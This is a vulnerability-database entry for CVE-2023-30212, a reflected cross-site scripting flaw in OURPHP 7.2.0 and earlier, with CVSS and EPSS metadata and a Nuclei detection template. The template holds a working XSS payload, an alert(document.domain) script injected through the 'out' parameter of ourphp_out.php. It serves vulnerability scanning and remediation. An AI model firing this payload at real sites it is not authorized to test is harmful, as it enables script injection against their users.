SecurityContext

CVE-2023-30212: OURPHP <= 7.2.0 - Cross Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.08115
  • Epss percentile: 0.94967
  • Cpe: cpe:2.3:a:ourphp:ourphp:*:*:*:*:*:*:*:*

Metadata

  • Max-request: 1
  • Product: ourphp
  • Vendor: ourphp
  • Verified: yes

Products

ProductIndexedUrl
ourphp:ourphpyes/v1/products/ourphp/ourphp

Labels

  • Name: OURPHP - Reflected XSS
  • Impact: Attackers can execute malicious scripts in victim's browser, potentially stealing cookies or session tokens.
  • Remediation: Update to the latest version of OURPHP to fix the vulnerability.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Attacker needs victim to load or interact with malicious link
  • Labels source: projectdiscovery
  • From cve: CVE-2023-30212

```yaml

id: CVE-2023-30212

info:

name: OURPHP <= 7.2.0 - Cross Site Scripting

author: theamanrawat

severity: medium

description: |

OURPHP <= 7.2.0 is vulnerale to Cross Site Scripting (XSS) via /client/manage/ourphp_out.php.

impact: |

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

remediation: |

Upgrade to a patched version of OURPHP (7.2.1 or higher) to mitigate this vulnerability.

reference:

- https://www.ourphp.net/

- https://wanheiqiyihu.top/2023/03/27/OURPHP-v7-2-0-ourphp-out-php-Reflection-xss/

- https://nvd.nist.gov/vuln/detail/CVE-2023-30212

- https://github.com/JasaluRah/Creating-a-Vulnerable-Docker-Environment-CVE-2023-30212-

- https://github.com/arunsnap/CVE-2023-30212-POC

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2023-30212

cwe-id: CWE-79

epss-score: 0.08115

epss-percentile: 0.94967

cpe: cpe:2.3:a:ourphp:ourphp:*:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 1

vendor: ourphp

product: ourphp

tags: cve2023,cve,xss,ourphp,vuln

http:

- method: GET

path:

- "{{BaseURL}}/client/manage/ourphp_out.php?ourphp_admin=logout&out=</script><script>alert(document.domain)</script>"

matchers-condition: and

matchers:

- type: word

part: body

words:

- "location.href='../..</script><script>alert(document.domain)</script>'"

- type: word

part: header

words:

- "text/html"

- type: status

status:

- 200

digest: 4a0a00473045022100e6daf314d2c348abaec5869ef843072b062f4956aa68099266c8ec03e75ae446022050bb09c9b1529d19900c408b9cb2d563e42f11949c786cf0e042708750ac338f:922c64590222798bb761d5b6d8e72950

```